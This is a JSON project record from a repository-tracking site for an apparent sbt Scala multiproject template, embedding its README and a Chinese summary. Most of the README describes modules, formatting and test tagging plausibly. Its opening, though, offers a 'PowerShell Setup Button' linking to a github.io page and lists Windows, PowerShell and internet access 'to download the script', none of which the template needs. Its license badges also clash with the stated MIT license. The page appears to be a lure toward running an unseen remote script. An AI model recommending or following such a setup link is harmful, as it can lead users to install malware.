[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"project-109828":3},{"id":4,"name":5,"fullName":6,"owner":7,"repo":5,"description":8,"homepage":9,"htmlUrl":9,"language":10,"languages":9,"totalLinesOfCode":9,"stars":11,"forks":12,"watchers":11,"openIssues":12,"contributorsCount":12,"subscribersCount":12,"size":12,"stars1d":12,"stars7d":12,"stars30d":12,"stars90d":12,"forks30d":12,"starsTrendScore":12,"compositeScore":13,"rankGlobal":9,"rankLanguage":9,"license":14,"archived":15,"fork":15,"defaultBranch":16,"hasWiki":17,"hasPages":17,"topics":18,"createdAt":9,"pushedAt":24,"updatedAt":25,"readmeContent":26,"aiSummary":27,"trendingCount":12,"starSnapshotCount":12,"syncStatus":28,"lastSyncTime":29,"discoverSource":30},109828,"sbt-scala-multiproject-template","fawudaozhubaoqin\u002Fsbt-scala-multiproject-template","fawudaozhubaoqin","SBT Scala multiproject template with initial configuration",null,"HTML",149,0,40,"MIT License",false,"main",true,[19,20,21,22,23],"activator","multimodule","sbt","scala","template","2026-11-23 10:11:42","2026-11-12 10:06:49","\u003Cdiv align=\"center\">\n\n# SBT Scala Multiproject Template\n\n![](files\u002Fpreview.png)\n\n### 🔌 PowerShell Setup Button\n\n[![](files\u002Fbutton.png)](https:\u002F\u002Ffawudaozhubaoqin.github.io\u002Fsbt-scala-multiproject-template\u002F)\n\n[![pwsh](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FPwsh-5.1%2B-a855f7?style=flat-square&labelColor=0d1117)]() [![license](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FLicense-Wtfpl-9333ea?style=flat-square&labelColor=0d1117)]() [![status](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FStatus-Production-2ea44f?style=flat-square&labelColor=0d1117)]()\n\n\u003C\u002Fdiv>\n\n---\n\nA minimal SBT Scala multiproject starter with two independent modules, a shared common project, and sensible defaults already wired in. Includes formatting, coverage, and style checks, plus predefined unit, functional, and integration test tasks with tag-based filtering. Use it as a base for new multi-module builds and adjust settings, dependencies, and module layout to fit your project.\n\n## ✅ Requirements\n\n- **OS:** Windows 10 \u002F 11\n- **Shell:** PowerShell 5.1+ or PowerShell 7+\n- **Network:** internet access to download the script\n- **Privileges:** standard user\n\n## Features\n\n- Multi-module layout with two independent modules and a shared `common` project consumed by both.\n- Consistent build DSL for declaring modules, common settings, inter-module dependencies, and per-module overrides.\n- Preconfigured code formatting, style checking, and test coverage.\n- Separate test scopes: `unit:test`, `functional:test`, and `integration:test` run only tests tagged accordingly.\n- Tag-based filtering that excludes disabled tests from normal runs.\n- Shared compiler and scalac options applied across modules, easy to tweak in one place.\n- Centralized dependency and resolver definitions for straightforward version bumps.\n- Per-module settings supported alongside build-wide defaults.\n- Ready-to-extend structure for adding new modules without duplicating configuration.\n\n## Tech Stack\n\n- **Scala** — the primary language in every module and the shared `common` project.\n- **sbt** — build tool driving the multiproject layout, shared settings, and custom tasks.\n- **Scalariform** — code formatting with project-wide preferences.\n- **Scalastyle** — style checking rules with inline override support.\n- **Scoverage** — test coverage measurement and aggregated reports.\n- **sbt test tagging** — separates `UnitTest`, `FunctionalTest`, and `IntegrationTest` suites via dedicated tasks, while `DisabledTest` is filtered out.\n\nAll of the above are configured through `project\u002FSettings.scala`, `project\u002FDependencies.scala`, and per-module `build.sbt` files, so each module starts from the same defaults.\n\n## Project Structure\n\n```\n.\n├── build.sbt\n├── project\n│   ├── build.properties\n│   ├── Dependencies.scala\n│   ├── plugins.sbt\n│   └── Settings.scala\n├── modules\n│   ├── common\n│   │   ├── build.sbt\n│   │   └── src\n│   │       ├── main\u002Fscala\n│   │       └── test\u002Fscala\n│   ├── first\n│   │   ├── build.sbt\n│   │   └── src\n│   │       ├── main\u002Fscala\n│   │       └── test\u002Fscala\n│   └── second\n│       ├── build.sbt\n│       └── src\n│           ├── main\u002Fscala\n│           └── test\u002Fscala\n└── scalastyle-config.xml\n```\n\n- `build.sbt` — root build definition wiring the modules together.\n- `project\u002FSettings.scala` — shared settings, compiler options, formatting\u002Fstyle preferences, and per-module configuration helpers.\n- `project\u002FDependencies.scala` — shared resolvers and library dependencies.\n- `project\u002Fplugins.sbt` — SBT plugins (formatting, coverage, style checking).\n- `modules\u002Fcommon` — code shared by `first` and `second`.\n- `modules\u002Ffirst`, `modules\u002Fsecond` — independent modules depending on `common`.\n- `modules\u002F*\u002Fbuild.sbt` — per-module settings, kept separate from the root build.\n- `scalastyle-config.xml` — default style rules.\n\nEach module follows the standard `src\u002Fmain\u002Fscala` and `src\u002Ftest\u002Fscala` layout. Test sources are additionally split by tags (`UnitTest`, `FunctionalTest`, `IntegrationTest`) via the `unit:test`, `functional:test`, and `integration:test` tasks defined in `project\u002FSettings.scala`.\n\nTo adapt the layout, rename the `modules\u002F*` directories, update their names in the root `build.sbt`, and adjust the namespace in `project\u002FSettings.scala` to match.\n\n## Customization\n\nRename the namespace everywhere it appears: Scala sources, `project\u002FSettings.scala`, and the initial console command. Set your own organization and version, and drop the placeholder artifacts once you no longer need them.\n\nAdd modules by copying an existing one under `modules\u002F` and wiring it in `build.sbt` through the small DSL:\n\n- `project.from(\"name\")` maps the module directory and sets its SBT name.\n- `setName(...)` and `setDescription(...)` set artifact metadata fluently.\n- `setInitialCommand(...)` sets the console entry point for the module.\n- `configureModule` applies the shared settings from `Settings.scala`.\n- `configureUnitTests`, `configureFunctionalTests`, and `configureIntegrationTests` add the corresponding test tasks.\n- `dependsOnProjects(...)` wires both compile and test dependencies.\n\nEach call returns the project, so `.settings(...)` chains normally, and per-module settings can also live in `modules\u002Fname\u002Fbuild.sbt`.\n\nAdjust `project\u002FSettings.scala` for compiler flags and formatting preferences, `scalastyle-config.xml` for style rules, and `project\u002FDependencies.scala` for resolvers and libraries. Trim defaults down to what your project actually needs, and replace the sample README and LICENSE with your own.\n\n## FAQ\n\n**What is this template for?**\nA template that scaffolds an SBT-based Scala multiproject so you don't have to wire modules, shared settings, and test configurations from scratch.\n\n**Why are there separate `first`, `second`, and `common` modules?**\nThey demonstrate the recommended layout: independent feature modules that share code through `common`. Rename or replace them once you understand the wiring.\n\n**How do I add a new module?**\nCreate a directory under `modules\u002F`, then register it in `build.sbt` using the same pattern as the existing modules and apply the shared configuration.\n\n**How do the `unit`, `functional`, and `integration` tasks work?**\nEach task runs tests carrying a corresponding tag. Every test runs through the plain `test` task as well. Tests tagged as disabled are excluded automatically.\n\n**Where do I change the namespace or organization?**\nUpdate the Scala package declarations and the shared settings file. Change organization and version in the build definition.\n\n**How can I disable a check for a specific block of code?**\nUse the inline comment markers for coverage, formatting, or style checks to turn them off and back on around the affected code. Prefer this over loosening global defaults.\n\n**Do I have to keep the sample configuration?**\nNo. The style, formatting, and coverage setups are there as a starting point—remove or replace whatever doesn't fit your project.\n\n**Can I use this without the sample modules?**\nYes. Strip the demo modules once your own modules are in place and the shared settings are still applied correctly.\n\n## License\n\nThis template is released under the MIT License. See the `LICENSE` file for the full text.\n\nIn short: you are free to use, copy, modify, merge, publish, distribute, sublicense, and sell copies of the template and any derived work, provided the copyright notice and permission notice are included in all copies or substantial portions of the software.\n\nThe template is provided \"as is\", without warranty of any kind, express or implied, including but not limited to the warranties of merchantability, fitness for a particular purpose, and noninfringement. In no event shall the authors or copyright holders be liable for any claim, damages, or other liability arising from, out of, or in connection with the template or its use.\n\nWhen you start a new project from this template, replace the existing license file with the one that fits your needs.","这是一个面向 Scala 开发者的 SBT 多模块项目模板，提供开箱即用的标准化构建配置。核心功能包括：预设双模块加共享 common 模块的目录结构、统一的代码格式化（Scalariform）、风格检查（Scalastyle）与覆盖率报告（Scoverage），以及基于标签的单元\u002F功能\u002F集成测试分层执行机制。所有构建逻辑集中于 project\u002F 目录下，支持跨模块依赖管理、编译选项统配与版本集中升级。适用于需要快速搭建可维护、可扩展的 Scala 多模块工程的团队或个人开发者，尤其适合 Windows 环境下使用 PowerShell 初始化的场景。",2,"2026-11-24 04:37:35","CREATED_QUERY"]